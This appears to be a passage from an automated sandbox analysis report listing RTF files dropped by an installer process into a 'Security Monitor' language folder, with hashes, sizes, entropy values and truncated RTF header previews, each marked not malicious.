Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-0KCCD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-2GUUI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-36UM7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-3H5BQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-3NTK1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-3QN2R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-8MK2C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-D3DJK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-E89GH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-F1ES7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-FO77V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-FU8J8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-H76HF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-KLJRQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
